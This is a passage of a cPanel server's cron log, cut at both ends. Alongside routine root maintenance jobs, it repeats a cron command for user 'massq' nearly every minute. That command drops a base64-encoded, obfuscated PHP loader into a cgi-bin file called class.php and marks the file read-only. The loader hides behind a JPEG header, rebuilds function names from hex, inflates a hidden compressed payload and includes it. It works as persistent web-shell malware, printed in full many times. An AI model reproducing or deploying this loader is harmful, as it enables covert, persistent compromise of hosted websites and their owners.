0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:35:01 server CROND[30090]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 12:35:01 server CROND[30087]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:35:01 server CROND[30089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:35:01 server CROND[30110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:36:01 server CROND[31012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:36:01 server CROND[31011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:36:01 server CROND[31013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:37:01 server CROND[31392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:37:01 server CROND[31393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:37:01 server CROND[31394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:38:01 server CROND[31794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:38:01 server CROND[31795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:38:01 server CROND[31796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:39:01 server CROND[32184]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 12:39:01 server CROND[32185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:39:01 server CROND[32186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:39:01 server CROND[32187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:40:01 server CROND[32643]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:40:01 server CROND[32645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:40:01 server CROND[32657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:40:01 server CROND[32654]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:40:01 server CROND[32655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:40:01 server CROND[32658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:40:01 server CROND[32653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:40:01 server CROND[32656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:41:01 server CROND[1236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:41:01 server CROND[1238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:41:01 server CROND[1237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:42:01 server CROND[1647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:42:01 server CROND[1648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:42:01 server CROND[1650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:42:01 server CROND[1649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:43:01 server CROND[2082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:43:01 server CROND[2083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:43:01 server CROND[2084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:44:01 server CROND[2483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:44:01 server CROND[2482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:44:01 server CROND[2484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:45:01 server CROND[2927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:45:01 server CROND[2928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:45:01 server CROND[2929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:45:01 server CROND[2932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:45:01 server CROND[2939]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:45:01 server CROND[2937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:45:01 server CROND[2938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:46:01 server CROND[3851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:46:01 server CROND[3852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:46:01 server CROND[3853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:47:01 server CROND[4235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:47:01 server CROND[4236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:47:01 server CROND[4237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyL